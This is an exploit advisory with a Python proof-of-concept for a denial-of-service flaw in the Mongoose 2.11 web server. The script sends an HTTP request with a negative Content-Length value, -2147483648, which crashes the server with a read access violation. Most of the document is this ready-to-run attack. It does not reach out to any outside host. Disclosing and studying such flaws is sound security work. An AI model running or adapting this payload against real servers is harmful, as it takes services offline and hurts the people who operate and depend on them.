# ------------------------------------------------------------------------

# Software................Mongoose 2.11

# Vulnerability...........Denial Of Service

# Download................http://code.google.com/p/mongoose/

# Release Date............12/27/2010

# Tested On...............Windows XP

# ------------------------------------------------------------------------

# Author..................John Leitch

# Site....................http://www.johnleitch.net/

# Email...................john.leitch5@gmail.com

# ------------------------------------------------------------------------

# 

# --Description--
# 
# Sending a request with a negative Content-Length field value causes
# the server to crash with a read access violation.
# 
# 
# --PoC--



import socket

host = 'localhost'
port = 8080 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(8)    
s.connect((host, port))
s.send('GET / HTTP/1.1\r\n'
       'Host: ' + host + '\r\n'
       'Content-Length: -2147483648\r\n\r\n')